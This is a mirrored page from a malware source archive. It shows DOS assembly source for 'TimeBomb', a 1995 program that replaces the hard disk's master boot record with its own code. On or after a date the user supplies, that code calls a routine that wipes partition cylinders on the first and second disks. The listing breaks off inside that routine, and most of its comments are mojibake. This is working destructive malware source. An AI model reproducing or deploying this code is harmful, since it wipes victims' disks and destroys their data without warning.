mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
473 lines
10 KiB
NASM
473 lines
10 KiB
NASM
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; (C) ANS (Armourer) TimeBomb Ver 1.00 25 Jun
|
|||
|
; FIDOnet 2:461/29.444 FreeWare, SourceWare 1995
|
|||
|
;
|
|||
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR. <20><> <20><><EFBFBD>⨦<EFBFBD><E2A8A6><EFBFBD><EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><>⠫쭮 <20><><EFBFBD>堥<EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20> 䠩<> c:\mbr.bak, <20>⮡<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>뫮 <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD>,
|
|||
|
; <20> <20><><EFBFBD>. <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR <20><> <20><><EFBFBD><EFBFBD>砥<EFBFBD>, ⠪ <20><><EFBFBD> <20> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-<2D><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> 㬭<><E3ACAD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㧪<EFBFBD> <20><><EFBFBD>⥬<EFBFBD> <20> <20><>⨢<EFBFBD><E2A8A2><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> - TimeBomb <20>ਤ<EFBFBD><E0A8A4><EFBFBD><EFBFBD>
|
|||
|
; <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
;
|
|||
|
; <20><><EFBFBD> <20>ࠡ<EFBFBD><E0A0A1>뢠<EFBFBD><EBA2A0><EFBFBD> TimeBomb <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 4 樫<><E6A8AB><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD> <20><>᪨ DOS (extended partition)
|
|||
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD> Non-DOS ࠧ<><E0A0A7><EFBFBD><EFBFBD> (HPFS, <20><><EFBFBD>ਬ<EFBFBD><E0A8AC>) <20><><EFBFBD> <20>⮬ <20><><EFBFBD><EFBFBD>ࠤ<EFBFBD><E0A0A4><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⥫쭮 - <20> <20><>裡 <20> <20><>७<EFBFBD><E0A5AD><EFBFBD> <20>⫨稥<E2ABA8> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> DOS FAT.
|
|||
|
;
|
|||
|
killed_cyl = 4 ; <20><> 㡨<><E3A1A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
xor_value = 73h ; <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD> <20><>襣<EFBFBD> <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD><EFBFBD> <><E1ABAE> ;-)
|
|||
|
|
|||
|
locals
|
|||
|
cseg segment
|
|||
|
assume cs:cseg
|
|||
|
org 100h
|
|||
|
.286
|
|||
|
start proc near
|
|||
|
;
|
|||
|
; <20><><EFBFBD>⠫<EFBFBD><E2A0AB><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; <20><EFBFBD><E0AEA2>塞 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ப<EFBFBD>
|
|||
|
mov si, 80h
|
|||
|
mov bl, byte ptr [si]
|
|||
|
xor bh, bh
|
|||
|
cmp bl, 8
|
|||
|
jnc @@checkdate
|
|||
|
|
|||
|
|
|||
|
help:
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ப<EFBFBD> <20><> 㪠<><E3AAA0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> - <20>뢮<EFBFBD><EBA2AE><EFBFBD> <20><><EFBFBD>᪠<EFBFBD><E1AAA0><EFBFBD>
|
|||
|
mov dx, offset @@title
|
|||
|
mov ah, 9
|
|||
|
int 21h
|
|||
|
int 20h
|
|||
|
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> BCD-<2D><> <20><> <20><><EFBFBD>. <20><>ப<EFBFBD>
|
|||
|
getBCD proc near
|
|||
|
dec si
|
|||
|
mov ax, word ptr [si+bx] ; <20><>६ <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub ax, '00' ; ASCII -> BIN
|
|||
|
xchg al, ah
|
|||
|
db 0d5h, 10h ; AAD <20> <20><><EFBFBD><EFBFBD>䨪<EFBFBD><E4A8AA><EFBFBD> 16
|
|||
|
cmp al, 9ah
|
|||
|
jnc help
|
|||
|
dec si ; <20>ࠧ<EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4> <20> <><E1ABA5><EFBFBD>饬<EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
dec si
|
|||
|
retn
|
|||
|
getBCD endp
|
|||
|
|
|||
|
|
|||
|
@@checkdate: ; <20><EFBFBD><E0AEA2>塞 <20><><EFBFBD><EFBFBD> (᭠砫<E1ADA0> <20><><EFBFBD>, <20><>⥬ <20><><EFBFBD><EFBFBD><EFBFBD>, <20><>⥬ <20><>)
|
|||
|
; <20> <20>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> <20><> <20> <20>㦭<EFBFBD><E3A6AD><EFBFBD> <20><>ଠ<EFBFBD><E0ACA0>
|
|||
|
; <20><><EFBFBD>४⭮<E0A5AA><E2ADAE><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><EFBFBD><E0AEA2>塞 - <20><><EFBFBD> <20><EFBFBD><E0AEA1><EFBFBD><EFBFBD> <20><><EFBFBD>짮<EFBFBD><ECA7AE>⥫<EFBFBD> -
|
|||
|
; <20><><EFBFBD> <20><> ⠬ <20><><EFBFBD><EFBFBD>
|
|||
|
call getBCD ; <20><>६ <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
mov byte ptr year, al ; <20><><EFBFBD><EFBFBD>稫<EFBFBD> BCD-year
|
|||
|
cmp byte ptr [bx+si+1], '.' ; <20><EFBFBD><E0AEA2>塞 ࠧ<><E0A0A7><EFBFBD><EFBFBD>⥫<EFBFBD>
|
|||
|
jne help
|
|||
|
call getBCD ; <20><>६ <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov byte ptr month, al ; <20><><EFBFBD><EFBFBD>稫<EFBFBD> BCD-month
|
|||
|
cmp byte ptr [bx+si+1], '.' ; <20><EFBFBD><E0AEA2>塞 ࠧ<><E0A0A7><EFBFBD><EFBFBD>⥫<EFBFBD>
|
|||
|
jne help
|
|||
|
call getBCD ; <20><>६ <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
mov byte ptr day, al ; <20><><EFBFBD><EFBFBD>稫<EFBFBD> BCD-day
|
|||
|
|
|||
|
|
|||
|
@@singledisk:
|
|||
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>塞 MBR <20><><EFBFBD><EFBFBD><EFBFBD> <><E1A2AE> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> bomb proc
|
|||
|
;
|
|||
|
; <20><>⠥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR, <20><><EFBFBD>࠭塞 <20><><EFBFBD> <20> c:\mbr.bak, <20><>襬 ᥡ<>
|
|||
|
;
|
|||
|
; <20><>⠥<EFBFBD> MBR
|
|||
|
mov cx, 1
|
|||
|
mov dx, 80h
|
|||
|
mov ax, 201h
|
|||
|
mov bx, offset buffer
|
|||
|
int 13h
|
|||
|
jnc @@rd_ok
|
|||
|
|
|||
|
mov dx, offset @@rd_err
|
|||
|
|
|||
|
@@err_exit: ; <20>뢮<EFBFBD> ᮮ<>饭<EFBFBD><E9A5AD> <20><> DX <20> <20>뫥<EFBFBD> <20><> <20>訡<EFBFBD><E8A8A1>
|
|||
|
mov ah, 9
|
|||
|
int 21h
|
|||
|
retn
|
|||
|
|
|||
|
@@rd_ok:
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<>
|
|||
|
mov dx, offset @@fname
|
|||
|
xor cx, cx
|
|||
|
mov ah, 3ch
|
|||
|
int 21h
|
|||
|
jnc @@cr_ok
|
|||
|
|
|||
|
mov dx, offset @@cr_err
|
|||
|
jmp @@err_exit
|
|||
|
|
|||
|
@@cr_ok:
|
|||
|
; <20><>襬 <20> 䠩<>
|
|||
|
mov bx, ax
|
|||
|
mov cx, 512
|
|||
|
mov dx, offset buffer
|
|||
|
mov ah, 40h
|
|||
|
int 21h
|
|||
|
jnc @@wr_ok
|
|||
|
|
|||
|
mov dx, offset @@wr_err
|
|||
|
jmp @@err_exit
|
|||
|
|
|||
|
@@wr_ok:
|
|||
|
; <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> 䠩<>
|
|||
|
mov ah, 3eh
|
|||
|
int 21h
|
|||
|
|
|||
|
;
|
|||
|
; <20><>७<EFBFBD>ᨬ <> MBR <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ண<EFBFBD>
|
|||
|
;
|
|||
|
mov si, offset bomb
|
|||
|
mov di, offset buffer
|
|||
|
mov bx, di
|
|||
|
mov cx, di
|
|||
|
sub cx, si
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
|
|||
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20><><EFBFBD><EFBFBD><EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ண<EFBFBD>
|
|||
|
;
|
|||
|
mov cx, 1
|
|||
|
mov dx, 80h
|
|||
|
mov ax, 301h
|
|||
|
int 13h
|
|||
|
|
|||
|
mov dx, offset @@mbr_wr_err
|
|||
|
jc @@err_exit
|
|||
|
|
|||
|
mov dx, offset @@done_msg
|
|||
|
jmp @@err_exit
|
|||
|
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD>饭<EFBFBD><E9A5AD> <20><> <20>訡<EFBFBD><E8A8A1><EFBFBD>
|
|||
|
@@rd_err: db 'Error read the MBR of C:',13,10,'$'
|
|||
|
@@cr_err: db 'Error creating the '
|
|||
|
@@fname: db 'C:\MBR.BAK',0,'file',13,10,'$'
|
|||
|
@@wr_err: db 'Error writing backup file',13,10,'$'
|
|||
|
@@mbr_wr_err: db 'Error writing new MBR',13,10,'$'
|
|||
|
@@done_msg: db 'Your MBR replaced by TimeBomb',13,10,'$'
|
|||
|
|
|||
|
|
|||
|
; <20><><EFBFBD>⠢<EFBFBD><E2A0A2>
|
|||
|
@@title:
|
|||
|
db 13,10,10
|
|||
|
db '(C) Armourer TimeBomb Ver 1.00 25 Jun 1995',13,10,10
|
|||
|
db ' Usage: timebomb <date>',13,10,10
|
|||
|
db ' Where <date> is a fatal date for your computer.',13,10
|
|||
|
db ' Date format must be in exUSSR standard: DD.MM.YY',13,10,10
|
|||
|
db 'Good Luck ;)',13,10,'$'
|
|||
|
|
|||
|
start endp
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> MBR (<28><> MBR <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD>⮢<EFBFBD><E2AEA2><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0:7c00h
|
|||
|
;
|
|||
|
bomb proc near
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD>ࠨ<EFBFBD><E0A0A8><EFBFBD><EFBFBD> <20>⥪ <20> <20><>७<EFBFBD>ᨬ MBR, <20>㤠 <20><><EFBFBD><EFBFBD> (0:600h)
|
|||
|
cli
|
|||
|
mov ax, cs
|
|||
|
mov ss, ax
|
|||
|
mov ds, ax
|
|||
|
mov es, ax
|
|||
|
mov si, 7c00h
|
|||
|
mov sp, si
|
|||
|
push si ; <20><><EFBFBD> <20>㦭<EFBFBD> <20><><EFBFBD> <20><><EFBFBD><E1ABA5><EFBFBD>饣<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> boot'<27>
|
|||
|
cld
|
|||
|
mov cx, 1beh / 2 ; <20><> ⠪<><E2A0AA><EFBFBD> <20><>७<EFBFBD><E0A5AD><EFBFBD> SI <20>㤥<EFBFBD> 㪠<>뢠<EFBFBD><EBA2A0>
|
|||
|
mov di, 600h ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
rep movsw
|
|||
|
|
|||
|
push ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push offset beginbomb - offset bomb + 600h ; <20><><EFBFBD>饭<EFBFBD><E9A5AD>
|
|||
|
retf
|
|||
|
|
|||
|
|
|||
|
beginbomb:
|
|||
|
; <20><EFBFBD><E0AEA2>塞 <20>६<EFBFBD>
|
|||
|
mov ah, 4
|
|||
|
int 1ah ; <20><><EFBFBD>竨 <20><><EFBFBD><EFBFBD> <20> CX:DX
|
|||
|
jc @@skipbomb ; <20> <20><><EFBFBD><EFBFBD> <20><> ࠡ<><E0A0A1><EFBFBD><EFBFBD><EFBFBD> -> <20>ய<EFBFBD>᪠<EFBFBD><E1AAA0> <20><EFBFBD><E0AEA2><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
year = $ + 2
|
|||
|
cmp cl, 12h ; <20><EFBFBD><E0AEA2>塞 <20><><EFBFBD>
|
|||
|
jc @@skipbomb ; <20><><EFBFBD> <20><> ᮢ<><E1AEA2><EFBFBD> ;)
|
|||
|
jne @@explode ; <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>襫 - <20><><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
month = $ + 3
|
|||
|
day = $ + 2
|
|||
|
cmp dx, 1234h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠪, <20>⮡<EFBFBD> <20><> ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>⪨<EFBFBD> <20><>ਠ<EFBFBD><E0A8A0> <20><><EFBFBD> CMP
|
|||
|
jc @@skipbomb ; <20><> ᮢ<><E1AEA2><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
|
|||
|
@@explode:
|
|||
|
;
|
|||
|
; <20><><EFBFBD> ᮢ<><E1AEA2><EFBFBD><EFBFBD>, <20><><EFBFBD>諠 <20><>ୠ<EFBFBD> <20><><EFBFBD><EFBFBD>...
|
|||
|
;
|
|||
|
; <20><><EFBFBD>ࠥ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD>
|
|||
|
; <20><>᪨ DOS)
|
|||
|
;
|
|||
|
; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov dl, 80h
|
|||
|
call destroy
|
|||
|
|
|||
|
; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD>ண<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>, <20> <20><> <20><><EFBFBD><EFBFBD>
|
|||
|
ror dl, 1 ; <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>, 䫠<> CF <20>㤥<EFBFBD> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jc @@singledisk
|
|||
|
|
|||
|
mov dl, 81h
|
|||
|
call destroy
|
|||
|
|
|||
|
@@singledisk:
|
|||
|
jmp @@incorrect ; <20>뢮<EFBFBD><EBA2AE><EFBFBD> ᮮ<>饭<EFBFBD><E9A5AD> "Missing operating ssytem"
|
|||
|
|
|||
|
|
|||
|
@@skipbomb:
|
|||
|
;
|
|||
|
; <20><>ࠡ<EFBFBD>⪠ <20><>ଠ<EFBFBD>쭮<EFBFBD><ECADAE> <20><><EFBFBD><EFBFBD> MBR
|
|||
|
;
|
|||
|
; <20>饬 <20><><EFBFBD><EFBFBD>㧮<EFBFBD><E3A7AE><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD>
|
|||
|
mov cl, 4 ; <20><><EFBFBD><EFBFBD> <20>ᥣ<EFBFBD> 4 <20><>ਠ<EFBFBD><E0A8A0><EFBFBD> ...
|
|||
|
|
|||
|
@@searchboot: ; <20><><EFBFBD><EFBFBD> <20><><EFBFBD>᪠
|
|||
|
mov dx, word ptr [si] ; <20>ࠧ<EFBFBD> <20><><EFBFBD><EFBFBD>㦠<EFBFBD><E3A6A0> <20> DX <20><>, <20><><EFBFBD> <20>㦭<EFBFBD>
|
|||
|
cmp dl, 80h ; <20><><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD>㧮<EFBFBD><E3A7AE><EFBFBD><EFBFBD> ?
|
|||
|
je @@boot
|
|||
|
|
|||
|
add si, 10h ; <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4> <20> <><E1ABA5><EFBFBD>饩 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
loop @@searchboot
|
|||
|
|
|||
|
; <20><> <20><>諨 - <20>뤠<EFBFBD><EBA4A0> ᮮ<>饭<EFBFBD><E9A5AD>
|
|||
|
@@incorrect:
|
|||
|
call errmsg
|
|||
|
db 'Missing operating system',0
|
|||
|
|
|||
|
|
|||
|
@@boot: ; <20><><EFBFBD><EFBFBD>㦠<EFBFBD><E3A6A0> boot-ᥪ<><E1A5AA><EFBFBD> <20> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx, word ptr [si+2] ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD> - <20> CX
|
|||
|
mov ax, 201h ; <20><>⠥<EFBFBD> 1 ᥪ<><E1A5AA><EFBFBD>
|
|||
|
pop bx ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0:7c00h
|
|||
|
push bx
|
|||
|
int 13h
|
|||
|
jnc @@exit
|
|||
|
|
|||
|
call errmsg
|
|||
|
db 'Error reading operating system',0
|
|||
|
|
|||
|
@@exit:
|
|||
|
cmp word ptr [bx + 510], 0aa55h
|
|||
|
jne @@incorrect
|
|||
|
retn ; <20><><EFBFBD><EFBFBD>᪠<EFBFBD><E1AAA0> boot
|
|||
|
|
|||
|
;
|
|||
|
; <09><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
;
|
|||
|
|
|||
|
; <20>뤠<EFBFBD><EBA4A0> ᮮ<>饭<EFBFBD><E9A5AD> <20><> <20>訡<EFBFBD><E8A8A1>
|
|||
|
errmsg proc near
|
|||
|
sti
|
|||
|
cld
|
|||
|
pop si
|
|||
|
mov ah, 0eh
|
|||
|
@@nextchar:
|
|||
|
lodsb
|
|||
|
or al, al
|
|||
|
je $
|
|||
|
int 10h
|
|||
|
jmp @@nextchar
|
|||
|
errmsg endp
|
|||
|
|
|||
|
|
|||
|
; <20><>室 <20><><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD> <20><>᪠ <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>ࠬ<EFBFBD><E0A0AC> <20> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
getpart proc near
|
|||
|
; <20><><EFBFBD> ४<><E0A5AA>ᨢ<EFBFBD><E1A8A2><EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD>.
|
|||
|
; <20><> <20>室<EFBFBD> <20> SI <20>ॡ<EFBFBD><E0A5A1><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><><EFBFBD>।<EFBFBD><E0A5A4><EFBFBD> ࠧ<><E0A0A7><EFBFBD>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ES:DI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> ⥪.ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
mov cx, 4 ; <20><><EFBFBD><EFBFBD>稪 ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MBR
|
|||
|
|
|||
|
@@nextpart:
|
|||
|
; <20><EFBFBD><E0AEA2>塞 ⨯ ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
cmp byte ptr [si+4], 0 ; <20><><EFBFBD>ᯮ<EFBFBD><E1AFAE><EFBFBD>㥬<EFBFBD><E3A5AC> ࠧ<><E0A0A7><EFBFBD>
|
|||
|
je @@exit
|
|||
|
|
|||
|
; <20><>襬 <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
mov ax, word ptr [si] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
stosw
|
|||
|
mov dx, ax ; <20><>⮢<EFBFBD><E2AEA2><EFBFBD><EFBFBD> <20><> <20>室<EFBFBD> <20> ४<><E0A5AA><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
disk1 = $ + 1
|
|||
|
mov dl, 80h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠡ<EFBFBD><E0A0A1>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD><EFBFBD> <20><>᪠
|
|||
|
|
|||
|
mov ax, word ptr [si+2]
|
|||
|
stosw ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/ᥪ<><E1A5AA><EFBFBD>
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><EFBFBD><E0AEA2>塞 ⨯ ࠧ<><E0A0A7><EFBFBD><EFBFBD> - <20><> <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD> <20><> <20><> ?
|
|||
|
cmp byte ptr [si+4], 5
|
|||
|
jne @@exit ; <20><><EFBFBD> - <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
; <20><><EFBFBD>塞 <20> ४<><E0A5AA><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><>⠥<EFBFBD> MBR <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
push cx ; <20><><EFBFBD>࠭塞 <20><><EFBFBD><EFBFBD>稪
|
|||
|
push si ; <20><><EFBFBD>࠭塞 㪠<><E3AAA0>⥫<EFBFBD> <20><> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
add bx, 512 ; <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx, ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CX:DX 㪠<>뢠<EFBFBD><EBA2A0> <20><> MBR
|
|||
|
mov ax, 201h ; <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
|
|||
|
int 13h ; <20><>⠥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>७<EFBFBD><E0A5AD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20> 0:BX
|
|||
|
jnc @@rec ; <20><EFBFBD>ઠ <20><> <20><><EFBFBD>४⭮<E0A5AA><E2ADAE><EFBFBD>
|
|||
|
|
|||
|
; <20><>室<EFBFBD><E5AEA4> <20><> ४<><E0A5AA>ᨨ <20> <20><><EFBFBD>砥 ᡮ<>
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
sub bx, 512
|
|||
|
jmp @@exit
|
|||
|
|
|||
|
@@rec:
|
|||
|
mov si, bx ; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD>
|
|||
|
add si, 1beh ; <20><> ⠡<><E2A0A1><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
call getpart
|
|||
|
|
|||
|
|
|||
|
@@exit:
|
|||
|
add si, 10h
|
|||
|
loop @@nextpart
|
|||
|
|
|||
|
; <20><>室 <20><> ४<><E0A5AA>ᨨ
|
|||
|
sub bx, 512
|
|||
|
pop dx
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
push dx
|
|||
|
retn
|
|||
|
|
|||
|
getpart endp
|
|||
|
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD>⮦<EFBFBD><E2AEA6><EFBFBD><EFBFBD> ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD><EFBFBD> ⥪<>饣<EFBFBD> <20><>᪠
|
|||
|
destroy proc near
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD>砥<EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>, 㪠<><E3AAA0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> DL
|
|||
|
